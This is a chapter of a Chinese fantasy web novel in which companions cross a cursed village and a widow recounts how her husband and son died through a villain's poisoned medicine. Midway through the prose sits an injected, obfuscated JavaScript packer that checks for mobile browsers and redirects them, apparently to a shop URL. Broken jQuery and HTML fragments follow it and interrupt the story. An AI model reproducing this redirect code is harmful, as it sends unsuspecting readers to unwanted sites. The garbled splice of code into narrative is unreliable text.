风竹小说 > 都市言情 > 古地探秘日志 > 22. 雪门(六)
    单夫人抱着孩子的尸体哼着歌谣木讷地朝着村子中心走去,她记得那附近有一口井。

    在去往村子中心的路上,单夫人遇见一少年,那少年盯着她怀中的孩子看了好一会,没说话,只勾着唇,像是在欣赏战利品一般。

    她没在意那少年,只自顾自的往村子中心走去。

    沈长安四人自圣女庙中出来便被这没来由的悔气所影响,好在孟奇乐影响尚浅,展开阵法将悔气隔绝在外。

    缓过神来的沈禾运起观气之术,满眼都写着不可置信。

    “这……”

    “怎么会。”

    “整座桃花村都被悔气所覆盖。”

    沈长安闻言眉头微微蹙起。

    宁不回盯着展开阵法的黑色长剑,问孟奇乐,“可有办法移动这阵法?”

    孟奇乐摇头,“没有。”

    “不过,悔气影响不了我。待我将此地苦地人斩杀,便可解除这悔气。”孟奇乐补充道。

    “不可。下一扇门的钥匙才只有一半,眼下应当先找到那姑娘,从她手中夺得另一半卷轴。”沈长安道。

    孟奇乐抿了抿唇,没再说话。

    沈禾听来听去,到最后不管怎样去做都不行,她长叹一口气,“那我们该怎么办?”

    不知过去多久,沈禾灵光一现。她敲了敲魂晶,道:“给我一根红绸。”

    “好。”男子声音温柔,下一瞬,一根红绸自一扇门中飞出,缓缓落在沈禾手上。

    “孟奇乐,你不受这悔气影响,接下来的路就由你来带,待寻到单夫人再布下阵法即可。”她将红绸一端丢给孟奇乐,又道:“你且将这根红绸绑在腰上。”

    孟奇乐虽不理解,但是照做。

    待孟奇乐将红绸绑在腰上后,沈禾也将红绸绑在腰上,她笑着向后看去,同沈长安与宁不回说道:“长安姐和宁不回,你们也赶快将这红绸绑在腰上。”

    孟奇乐这会才算看明白沈禾是何用意,原是将他当马呢。

    宁不回最后一个将红绸绑在身上,但他觉得还是不妥。这悔气会使人精神萎靡,倒时若是阵法解除,怕是难以行动。

    他当空绘出四张符,“此乃同位符,一张为母符三张为子符,贴子符者会按照贴母符者的动作行动。”他一挥手,母符贴在孟奇乐后背,三张子符则贴在其余三人后背。

    孟奇乐向前踏出一步,所有人都控制不住的向前踏出一步。

    沈禾睁大眼睛,惊叹道:“这世上竟还有这般离奇的符!”

    随着孟奇乐将阵法解除,沈长安三人再度陷入悔意当中。

    孟奇乐皱了皱眉头。

    好吵。

    村民们都聚在村子中央看着疯疯癫癫的单夫人。

    他们都看见了她怀中的孩子,亦是知晓发生了什么。

    “可怜人啊。”村民中一个老人说着叹一口气。

    单夫人盯着他们,又看了看怀中的孩子。

    她想到红雀说的话。

    “都该死。”

    “都该死!”

    丈夫是这么死的。

    那山坡上埋着的两具尸骨,都是怎么死的。

    犹记得那日午后,阳光明媚。

    单夫人坐在院中哄着孩子睡觉,只听见院门处“哐”的一声。

    醉醺醺的身影踉跄走进院中。

    那人她记得,整座桃花村的人都记得。

    他叫邵午,是和鼎鼎有名的恶人。

    整日在桃花村里横着走的败类。

    单夫人惊恐的盯着邵午,她抱着孩子向后退去数步,直到退到无处可退才问出一句话来,“你要作甚?”

    邵午斜睨了她一眼,“我来找我的好兄弟说件事。”

    在屋中忙碌的单夫人的丈夫听见外头声音从屋中出来,刚好听见了邵午的话,还没等单夫人发问,他便问邵午,“何事?”

    “自是对你们极重要的事。”

    “不妨邵兄说来听听。”

    邵午道:“自是有法子救你那要死的儿子的病。”

    邵午闻言,眼里闪过光亮。

    单夫人总觉心中不安,她拉住丈夫的衣袖不打算让他去。

    可架不住他执意要去,“这或许是最后能救老大的机会,我必须去。”

    单夫人红着眼,心里越发不安。

    丈夫跟着邵午走了。

    单夫人不知他们都说了些什么,只等到当日申时,邵午送来一口棺材。

    “这里头就是你那丈夫。”他随手一丢,一个包裹落在地上,“这,就是能就你儿子命的药。”

    邵午狡黠一笑,“你可莫要辜负了你丈夫的命啊,单夫人。”

    单夫人不可置信的盯着眼前这口棺材。

    明明早上还那样鲜活的一个人,怎么就这样死了。

    大儿子睡下了,小儿子也睡下了。

    单夫人捡起邵午丢在地上的包裹,颤抖着手将包裹拆开。

    里面是五包药。

    邵午又道:“这药你可要记住,每七日申时服用一次。”

    单夫人没动作,她将药放在桌上,看着院中那一口黑色铜棺。

    她想将棺材盖子推开看一看丈夫最后一眼,可不管怎样用力也推不开分毫。

    邵午瞧着单夫人,不屑的笑起来,“你呀,还是早些将你这丈夫下葬了吧。”

    邵午走后,单夫人终是再也忍不了,身子一软瘫在棺材旁无声地哭了起来。

    单夫人的丈夫是当日夜里下葬的。

    来帮忙的人是村长的人。

    村里有些人可怜她,给她送了些吃食。

    往后的日子一个人过了,屋里头还有个病秧子和一个尚不懂人事的小崽子。

    实在不知这日子要如何过得下去。

    第二日,单夫人像往常那样照顾着小孩子,不同的是,她要将丈夫的活一并做了,还要煎药给大儿子吃。

    大儿子第一副药下肚,气色果然恢复许多。他躺在床榻上笑着同单夫人说道:“母亲,孩儿今天可有力气了!”

    “不过,怎么没见父亲?”

    单夫人突然怔住。

    大儿子似乎察觉出什么,“昨日夜里就见母亲忙前忙后的,家里头还总有客来,可是父亲出事了……”

    单夫人抚摸着大儿子的头,“乖。”她没再说别的事,背过身去泪水再也止不住的流下。

    大儿子红了眼眶,“药是父亲拿命换来的吧,这样好的药咱们家是买不起的。”

    单夫人擦掉泪水,“你好生歇着,母亲还有活没做完。”

    日子一天天过去,在大儿子喝下第三副药时,奇迹发生了。

    大儿子能够下床走路了,还能蹦能跳的。

    日子总算有些盼头。

    生活也轻松了不少。

    单夫人难得喘了几口大气,她带着大儿子去看丈夫,大儿子一遍遍地说着自己对不住父亲,说着要好好照顾母亲。

    可好景不长,大儿子在喝下第五副药时突然暴毙。

    七窍流血,死的骇人。

    同样是申时。

    她再次见到邵午。

    单夫人抱着大儿子的尸体怒斥邵午,“滚!没良心的东西!你们害死了我那丈夫不够,还要害死我儿!”

    邵午倒是满脸疑惑和无辜,“你丈夫用命换的药也给你了,你儿子前些日子还好好的,今日突然死了跟我有何关系?”

    单夫人红着眼,瞪着邵午。

    不久,村长来到这里,他见到死去的大儿子同样满脸诧异,“这是……”

    单夫人没说话。

    村长落了泪,“这孩子昨日不还好好的吗?怎么就……”

    单夫人摸着大儿子的脸,一遍遍嘟囔着,“是母亲对不住你,是母亲对不住你。”

    邵午在一旁拱火,“你看,这孩子也没了,再过不久就要入冬了,我看还是早些入土为安吧。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16891993|191568||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    /p>

    单夫人怔了怔,“入土,为安?何来的安?何来的安?!”

    “你这妇人,当真不懂变通,孩子死了你不也能少遭些罪。”

    邵午话音刚落,四个壮汉抬着六尺黑铜棺来到院中,“我看就把这孩子和你那丈夫埋在一起吧。”

    两个壮汉从单夫人怀中抢走孩子的尸体,单夫人当即哭晕了过去。

    待她醒来,那座山上已然又多了坟包。

    这日过后,她找到村里的铁匠,为小孩子打了一个长命锁。

    申时,将至。

    沈长安一行四人终于来到单夫人所在位置,孟奇乐重新布下阵法,其余三人才算恢复神智。

    沈禾看着正在发疯的单夫人,隐隐觉得心痛。

    “不是说,日日向圣女叩拜便可心想事成吗?”

    “可为何,我日日叩拜,祈求我儿平安无事,可我儿却还是死了?”

    她扫过在场百姓,目光落在邵午和李相所在位置。

    “你们不是说,生了小的就可以救大的,说,这叫冲喜。你们不是说,用我丈夫的命换来的药可以救老大,可老大却因这药暴毙。”

    “七窍流血啊,那得多疼啊……”

    单夫人跪在地上,她将怀中小孩子放在地上,她看着小孩子,心中是数不尽的悔意。

    “我悔啊,为何我不早早死去。”

    “为何我偏要听信你们这些狼心狗肺之人的巧语。”

    “我该死,你们也该死。”

    “桃花源容不下善,圣女也不过是个幌子!”

    “你我皆为罪人,所有人皆为罪人。”

    “桃花源,容不下善。”

    “圣女,就是个幌子。”

    单夫人勾起唇。

    申时,已至。

    单夫人从怀中掏出一把见到,就要往心上刺去。

    沈禾也不知为何,许是在风门之中的情意。她也不顾这悔气,直接冲到单夫人身前从她手中将剪刀夺走。

    “夫人可还记得我。”

    单夫人盯着身为,眼里有些许迷茫,却又有一丝熟悉。

    她想了好久,终于脑海中蹦出一个名字来。

    “沈,禾?”

    “是我。”

    “你不是,走了吗?”单夫人问道。

    沈禾摇头,“我这不回来了。”

    单夫人落了泪,“我什么都没有了,你知道吗,我什么都没有……”

    沈禾点点头,“我知道,可你也不能就这样去死啊。”

    “我不去死,又能如何啊。”

    沈禾一时语塞,她也不知眼下该说什么。

    单夫人没有亲人,这世上只剩她一人。

    这又是雪门。

    就代表着单夫人是必定要走向死亡的。

    桃花源,容不下善。

    “我知你是为我好,让我活下去。可活着已无牵挂,还有什么必要。”

    “你不是桃花源中人吧,我的记忆太乱,只零星记得一些琐碎。”

    “我知你们是好人,来到这里或许是为了某一件事。”

    “沈禾姑娘,你杀了我吧,我不想再痛苦下去了。”

    沈禾一顿,她看着手中都剪刀和已然闭上眼等待死亡的单夫人。

    她终是下不去这手。

    “剪刀太痛了。”

    “夫人。”

    她将单夫人紧紧抱在怀中,她感受到她浑身冰冷,没有一丝温度。

    沈禾周身亮起一抹寒光,纳气之法吸走单夫人最后一丝生气。

    单夫人睁开眼,微微一笑。在沈禾的怀中化为星光。

    悔气消散。

    一块七煞魂铃的碎片落在沈禾手心。

    紧接着,回到桃花源的雪门就此展开。

    沈长安瞧着那扇雪门,总觉得不对。

    她低头看着手上那一般的卷轴,说道:“你们先回去,我再去村外那间屋子看看。”